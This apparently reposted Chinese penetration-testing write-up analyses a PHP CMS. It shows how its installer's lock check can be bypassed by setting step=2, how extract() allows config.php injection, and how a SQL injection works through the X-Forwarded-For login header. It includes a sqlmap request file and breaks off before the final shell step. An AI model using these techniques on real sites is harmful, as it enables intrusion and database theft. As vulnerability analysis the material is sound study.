记一次从sql到重装getshell

2019-09-27 约 348 字 预计阅读 2 分钟

声明:本文 【记一次从sql到重装getshell】 由作者 路过的一个人 于 2019-09-27 09:03:21 首发 先知社区 曾经 浏览数 193 次

感谢 路过的一个人 的辛苦付出!

网站重装getshell漏洞

漏洞发生在/install/index.php

<?php 
...
include '../inc/config.php';
include 'conn.php';
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;

...

<?php
switch($step) {
    case '1':
        include 'step_'.$step.'.php';
    break;
    case '2':
        ...
        include 'step_'.$step.'.php';
    break;
    case '3':
        include 'step_'.$step.'.php';
    break;
    case '4':
        include 'step_'.$step.'.php';
    break;
    case '5':
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }

        $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
        if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!select_db($db_name)) {
            if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        ...
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");
        fputs($f,$str);
        fclose($f);
        include 'step_'.$step.'.php';
        break;
    case '6':
        include 'step_'.$step.'.php';
    break;
}

?>

分析代码

代码中通过传入的step的值是多少对应该目录下的文件

switch($step) {
    case '1':
        include 'step_'.$step.'.php';
    break;

仔细阅读该每一个step文件可知,只有当step=1的时候才会检测/install/install.lock文件是否存在。

if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
?>

也就是说,抓包改一下step=2可以绕过检测跳到安装界面

接下来的如何getshell呢,下面有段代码

$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
      fclose($f);
      $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;

$url是可写入的,因为上面有一段代码:

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

可见这段extract函数把get,post传进来的值注册为变量

这里要检验数据库连接才可以到下面的文件写入,这里可以利用sql注入漏洞获取数据库信息

漏洞发生在user/logincheck.php第84行

<?php
...
$sql="select * from cms_user where username='".$username."' and  password='".$password."' ";
$rs = query($sql); 
$row= num_rows($rs);
if(!$row){
....
}else{
....
    $rs = query($sql); 
    $row= fetch_array($rs);
        if(!$row){
        echo "<script>alert('用户被锁定!');history.go(-1)</script>";
        }else{
        query("delete from cms_login_times where ip='$ip'");//登录成功后,把登录次数记录删了
        query("UPDATE cms_user SET showlogintime = lastlogintime WHERE username='".$username."'");//更新上次登录时间
        query("UPDATE cms_user SET showloginip = loginip WHERE username='".$username."'");//更新上次登录IP
        query("UPDATE cms_user SET logins = logins+1 WHERE username='".$username."'");
        query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
        if (strtotime(date("Y-m-d H:i:s"))-strtotime($row['lastlogintime'])>86400){
        query("UPDATE cms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("UPDATE cms_user SET loginip = '".getip()."' WHERE username='".$username."'");

看一下getip的定义:

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
}

可用sqlmap跑出数据库信息
//sql.txt
POST /user/logincheck.php HTTP/1.1
Host: www.wyc.com
Content-Length: 111
Cache-Control: max-age=0
Origin: http://www.wyc.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Referer: http://www.wyc.com/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: bdshare_firstime=1568780385995; PHPSESSID=7fih9osc4vupgl87u76unqvsag
Connection: close
X-Forwarded-For: 127.0.0.1*
```

得到数据库信息后

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now